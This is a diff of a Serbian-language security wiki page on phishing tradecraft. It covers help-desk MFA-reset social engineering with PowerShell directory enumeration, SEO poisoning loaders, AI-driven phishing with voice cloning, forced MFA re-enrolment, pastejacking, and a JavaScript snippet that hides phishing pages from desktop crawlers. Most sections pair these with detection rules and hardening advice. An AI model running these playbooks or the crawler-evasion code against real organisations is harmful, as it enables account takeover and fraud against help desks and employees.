| Očigledno, jedan od najboljih načina da saznate da li ste otkriveni je da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, na neki način je vaš domen detektovan kao sumnjiv.\ | ||||
| Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je korišćenje [https://malwareworld.com/](https://malwareworld.com) | ||||
| 
 | ||||
| Međutim, postoje i drugi načini da znate da li žrtva **aktivno traži sumnjive phishing domene** kako je objašnjeno u: | ||||
| Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjive phishing domene u prirodi**, kao što je objašnjeno u: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| detecting-phising.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| Možete **kupiti domen vrlo sličnog imena** žrtvinom domenu **i/ili generisati sertifikat** za **subdomen** domena koji kontrolišete, a koji sadrži **ključnu reč** iz domena žrtve. Ako **žrtva** izvrši bilo koju vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete primorani da budete veoma stealth. | ||||
| Možete **kupiti domen sa veoma sličnim imenom** domenu žrtve **i/ili generisati sertifikat** za **subdomen** domena koji vi kontrolišete **koji sadrži** **ključnu reč** žrtvinog domena. Ako žrtva izvrši bilo kakvu **DNS ili HTTP interakciju** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete prinuđeni da budete veoma stealth. | ||||
| 
 | ||||
| ### Procena phishing kampanje | ||||
| ### Evaluate the phishing | ||||
| 
 | ||||
| Koristite [**Phishious**](https://github.com/Rices/Phishious) da procenite da li će vaša poruka završiti u spam folderu, biti blokirana ili uspešna. | ||||
| Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaš mejl završiti u spam folderu, biti blokiran ili uspešan. | ||||
| 
 | ||||
| ## High-Touch Identity Compromise (Help-Desk MFA Reset) | ||||
| 
 | ||||
| Savremeni intrusion setovi sve češće uopšte preskaču e‑mail mamce i **direktno ciljaju service-desk / workflow za identity-recovery** kako bi zaobišli MFA. Napad je u potpunosti “living-off-the-land”: jednom kada operator posede validne kredencijale pivot-uje koristeći ugrađene admin alate – nije potreban malware. | ||||
| Moderni intrusion setovi sve više preskaču email mamce i **direktno ciljaju service-desk / identity-recovery workflow** kako bi zaobišli MFA. Napad je potpuno "living-off-the-land": kada operator poseduje validne kredencijale, on pivotira sa ugrađenim admin alatima – nije potreban malware. | ||||
| 
 | ||||
| ### Tok napada | ||||
| 1. Recon na metu | ||||
| * Prikupljanje ličnih i korporativnih podataka sa LinkedIn-a, iz data breach-eva, javnog GitHub-a itd. | ||||
| * Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojte tačan help-desk proces za reset lozinke / MFA. | ||||
| 2. Socijalni inženjering u realnom vremenu | ||||
| * Poziv, Teams ili chat help-deska dok se predstavljate kao meta (često sa **lažiranim caller-ID** ili **kloniranim glasom**). | ||||
| * Dajte ranije prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju. | ||||
| * Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovani mobilni broj. | ||||
| 3. Odmah nakon pristupa (≤60 min u realnim slučajevima) | ||||
| * Uspostavite pristup kroz bilo koji web SSO portal. | ||||
| * Enumerišite AD / AzureAD koristeći ugrađene alate (bez drop-ovanja binarnih fajlova): | ||||
| ### Attack flow | ||||
| 1. Recon žrtve | ||||
| * Sakupite lične i korporativne podatke sa LinkedIn, curenja podataka, javnog GitHub-a, itd. | ||||
| * Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojite **tačan help-desk proces** za reset lozinke / MFA. | ||||
| 2. Real-time social engineering | ||||
| * Telefon, Teams ili chat sa help-deskom dok se predstavljate kao cilj (često sa **spoofed caller-ID** ili **cloned voice**). | ||||
| * Pružite prethodno prikupljene PII podatke da prođete verifikaciju zasnovanu na znanju. | ||||
| * Ubedite agenta da **resetuje MFA secret** ili izvrši **SIM-swap** na registrovanom broju mobilnog. | ||||
| 3. Immediate post-access actions (≤60 min u realnim slučajevima) | ||||
| * Uspostavite foothold preko bilo kog web SSO porta. | ||||
| * Enumerišite AD / AzureAD koristeći ugrađene alate (bez postavljanja binarnih fajlova): | ||||
| ```powershell | ||||
| # list directory groups & privileged roles | ||||
| Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} | ||||
| @ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id | ||||
| # Enumerate devices the account can login to | ||||
| Get-MgUserRegisteredDevice -UserId <user@corp.local> | ||||
| ``` | ||||
| * Lateralan pokret koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelist-i u okruženju. | ||||
| * Lateralno kretanje koristeći **WMI**, **PsExec**, ili legitimne **RMM** agente koji su već na whitelisti u okruženju. | ||||
| 
 | ||||
| ### Detekcija i mitigacija | ||||
| * Tretirajte help-desk identity recovery kao **privilegovan proces** – zahtevajte step-up auth i odobrenje menadžera. | ||||
| * Implementirajte **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alertuju na: | ||||
| * Promenu MFA metode + autentikaciju sa novog uređaja / geolokacije. | ||||
| * Odmahšnja elevacija istog principala (user → admin). | ||||
| * Snimajte help-desk pozive i primenite **call-back na već registrovani broj** pre bilo kakvog reseta. | ||||
| * Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne dobijaju automatski** visoke privilegovane tokene. | ||||
| ### Detection & Mitigation | ||||
| * Tretirajte help-desk identity recovery kao **privileged operation** – zahtevajte step-up auth i odobrenje menadžera. | ||||
| * Rasporedite **Identity Threat Detection & Response (ITDR)** / **UEBA** pravila koja alarmiraju na: | ||||
| * Promena MFA metode + autentikacija sa novog uređaja / geolokacije. | ||||
| * Momentalno eleviranje istog principala (user → admin). | ||||
| * Snimajte help-desk pozive i zahtevajte **call-back na već registrovan broj** pre bilo kakvog reseta. | ||||
| * Implementirajte **Just-In-Time (JIT) / Privileged Access** tako da novo resetovani nalozi **ne nasleđuju automatski** visokopriovilegovane tokene. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Decepcija u velikom obimu – SEO Poisoning & “ClickFix” kampanje | ||||
| Commodity ekipe pokrivaju troškove high-touch operacija masovnim napadima koji pretvaraju **pretraživače i ad network-e u kanal isporuke**. | ||||
| ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns | ||||
| Commodity timovi kompenzuju troškove high-touch operacija masovnim napadima koji pretvaraju **search engines & ad networks u kanal isporuke**. | ||||
| 
 | ||||
| 1. **SEO poisoning / malvertising** ističe lažni rezultat poput `chromium-update[.]site` u vrhu search oglasa. | ||||
| 2. Žrtva preuzme mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42: | ||||
| 1. **SEO poisoning / malvertising** gura lažni rezultat poput `chromium-update[.]site` na vrh pretrage i oglasa. | ||||
| 2. Žrtva skida mali **first-stage loader** (često JS/HTA/ISO). Primeri viđeni od strane Unit 42: | ||||
| * `RedLine stealer` | ||||
| * `Lumma stealer` | ||||
| * `Lampion Trojan` | ||||
| 3. Loader eksfiltrira cookie-je pretraživača + baze kredencijala, zatim povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje: | ||||
| 3. Loader eksfiltrira cookies iz browsera + credential DBs, potom povlači **silent loader** koji odlučuje – *u realnom vremenu* – da li da deploy-uje: | ||||
| * RAT (npr. AsyncRAT, RustDesk) | ||||
| * ransomware / wiper | ||||
| * komponentu za persistenciju (registry Run ključ + scheduled task) | ||||
| * persistence komponentu (registry Run key + scheduled task) | ||||
| 
 | ||||
| ### Saveti za hardening | ||||
| * Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na e‑mail. | ||||
| ### Hardening tips | ||||
| * Blokirajte novo registrovane domene i primenite **Advanced DNS / URL Filtering** na *search-ads* kao i na email. | ||||
| * Ograničite instalaciju softvera na potpisane MSI / Store pakete, zabranite izvršavanje `HTA`, `ISO`, `VBS` politikom. | ||||
| * Monitorišite child procese browser-a koji otvaraju instalere: | ||||
| * Monitorišite child procese browsera koji otvaraju instalere: | ||||
| ```yaml | ||||
| - parent_image: /Program Files/Google/Chrome/* | ||||
| and child_image: *\\*.exe | ||||
| ``` | ||||
| * Lovite na LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`). | ||||
| * Tražite LOLBins često zloupotrebljavane od strane first-stage loadera (npr. `regsvr32`, `curl`, `mshta`). | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## AI‑poboljšane phishing operacije | ||||
| Napadači sada povezuju **LLM & voice-clone API-je** za potpuno personalizovane mamce i interakciju u realnom vremenu. | ||||
| ## AI-Enhanced Phishing Operations | ||||
| Napadači sada povezuju **LLM & voice-clone APIs** za potpuno personalizovane mamce i interakciju u realnom vremenu. | ||||
| 
 | ||||
| | Sloj | Primer upotrebe od strane threat aktora | | ||||
| |------|----------------------------------------| | ||||
| | Automatizacija | Generisanje i slanje >100k e‑mailova / SMS-ova sa randomizovanim porukama i tracking linkovima. | | ||||
| | Generativni AI | Proizvodnja jedinstvenih e‑mailova koji referenciraju javne M&A, interne šale sa društvenih mreža; deep-fake glas CEO-a u callback prevari. | | ||||
| | Agentic AI | Autonomna registracija domena, scrape open-source intel-a, kreiranje sledećih mejlova kada žrtva klikne ali ne pošalje kredencijale. | | ||||
| | Layer | Primer upotrebe od strane threat actor-a | | ||||
| |-------|------------------------------------------| | ||||
| |Automation|Generisanje i slanje >100k mejlova / SMS sa nasumično variranim tekstom i tracking linkovima.| | ||||
| |Generative AI|Kreiranje *jedinstvenih* mejlova koji referenciraju javne M&A događaje, interne šale sa društvenih mreža; deep-fake CEO glas u callback prevari.| | ||||
| |Agentic AI|Autonomno registruje domene, scrape-uje open-source intel, kreira sledeće mejlove kada žrtva klikne ali ne pošalje kredencijale.| | ||||
| 
 | ||||
| **Odbrana:** | ||||
| • Dodajte **dinamičke banere** koji ističu poruke poslate iz nepouzdanih automatizovanih izvora (preko ARC/DKIM anomalija).   | ||||
| • Implementirajte **voice-biometric challenge phrases** za visokorizične telefonske zahteve.   | ||||
| • Kontinuirano simulirajte AI‑generisane mamce u programima svesti – statični šabloni su zastareli. | ||||
| **Defence:** | ||||
| • Dodajte **dinamične banere** koji ističu poruke poslate iz nepouzdanih automatizacija (na osnovu ARC/DKIM anomalija).   | ||||
| • Implementirajte **voice-biometric challenge phrases** za high-risk telefonske zahteve.   | ||||
| • Kontinuirano simulirajte AI-generisane mamce u programima svesti – statički templatei su zastareli. | ||||
| 
 | ||||
| See also – agentic browsing abuse for credential phishing: | ||||
| 
 | ||||
| @ -526,18 +526,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## MFA Fatigue / Push Bombing varijanta – Forsirani reset | ||||
| Pored klasičnog push-bombinga, operateri jednostavno **forsiraju novu MFA registraciju** tokom poziva help-deska, poništavajući korisnikov postojeći token. Bilo koji naredni prompt za prijavu izgleda legitimno za žrtvu. | ||||
| ## MFA Fatigue / Push Bombing Variant – Forced Reset | ||||
| Pored klasičnog push-bombinga, operatori jednostavno **prisile novu MFA registraciju** tokom help-desk poziva, poništavajući korisnikov postojeći token. Bilo koji naredni login prompt izgleda legitimno žrtvi. | ||||
| ```text | ||||
| [Attacker]  →  Help-Desk:  “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” | ||||
| [Help-Desk] →  AzureAD: ‘Delete existing methods’ → sends registration e-mail | ||||
| [Attacker]  →  Completes new TOTP enrolment on their own device | ||||
| ``` | ||||
| Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. | ||||
| Pratite AzureAD/AWS/Okta događaje gde **`deleteMFA` + `addMFA`** dogode **u roku od nekoliko minuta sa iste IP adrese**. | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Clipboard Hijacking / Pastejacking | ||||
| 
 | ||||
| Napadači mogu neprimetno kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice i zatim prevariti korisnika da ih zalepi u **Win + R**, **Win + X** ili u prozor terminala, čime se izvršava proizvoljni kod bez ikakvog preuzimanja ili priloga. | ||||
| Napadači mogu tiho kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice, a zatim prevariti korisnika da ih nalepi u **Win + R**, **Win + X** ili terminal prozor, izvršavajući arbitrarni kod bez ikakvog preuzimanja ili priloga. | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -551,6 +553,33 @@ clipboard-hijacking.md | ||||
| mobile-phishing-malicious-apps.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Mobile‑gated phishing to evade crawlers/sandboxes | ||||
| Operatori sve češće stavljaju svoje phishing flows iza jednostavne provere uređaja tako da desktop crawleri nikada ne dođu do krajnjih stranica. Uobičajen obrazac je mali skript koji testira touch-capable DOM i šalje rezultat na server endpoint; non‑mobile klijenti dobijaju HTTP 500 (ili praznu stranicu), dok mobile korisnici dobijaju ceo flow. | ||||
| 
 | ||||
| Minimal client snippet (typical logic): | ||||
| ```html | ||||
| <script src="/static/detect_device.js"></script> | ||||
| ``` | ||||
| `detect_device.js` logika (pojednostavljeno): | ||||
| ```javascript | ||||
| const isMobile = ('ontouchstart' in document.documentElement); | ||||
| fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) | ||||
| .then(()=>location.reload()); | ||||
| ``` | ||||
| Često zapaženo ponašanje servera: | ||||
| - Postavlja session cookie tokom prvog učitavanja. | ||||
| - Prihvata `POST /detect {"is_mobile":true|false}`. | ||||
| - Vraća 500 (ili placeholder) na naredne GET zahteve kada je `is_mobile=false`; prikazuje phishing samo ako je `true`. | ||||
| 
 | ||||
| Heuristike za otkrivanje i detekciju: | ||||
| - urlscan upit: `filename:"detect_device.js" AND page.status:500` | ||||
| - Web telemetrija: sekvenca `GET /static/detect_device.js` → `POST /detect` → HTTP 500 za ne-mobilne uređaje; legitimne putanje mobilnih žrtava vraćaju 200 sa narednim HTML/JS. | ||||
| - Blokirajte ili detaljno proverite stranice koje uslovljavaju sadržaj isključivo na `ontouchstart` ili sličnim proverama uređaja. | ||||
| 
 | ||||
| Saveti za odbranu: | ||||
| - Pokrenite crawlers sa mobile-like fingerprints i omogućite JS da otkrijete gated content. | ||||
| - Postavite alarm za sumnjive 500 odgovore koji slede nakon `POST /detect` na novoregistrovanim domenima. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) | ||||
| @ -558,5 +587,6 @@ mobile-phishing-malicious-apps.md | ||||
| - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) | ||||
| - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) | ||||
| - [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user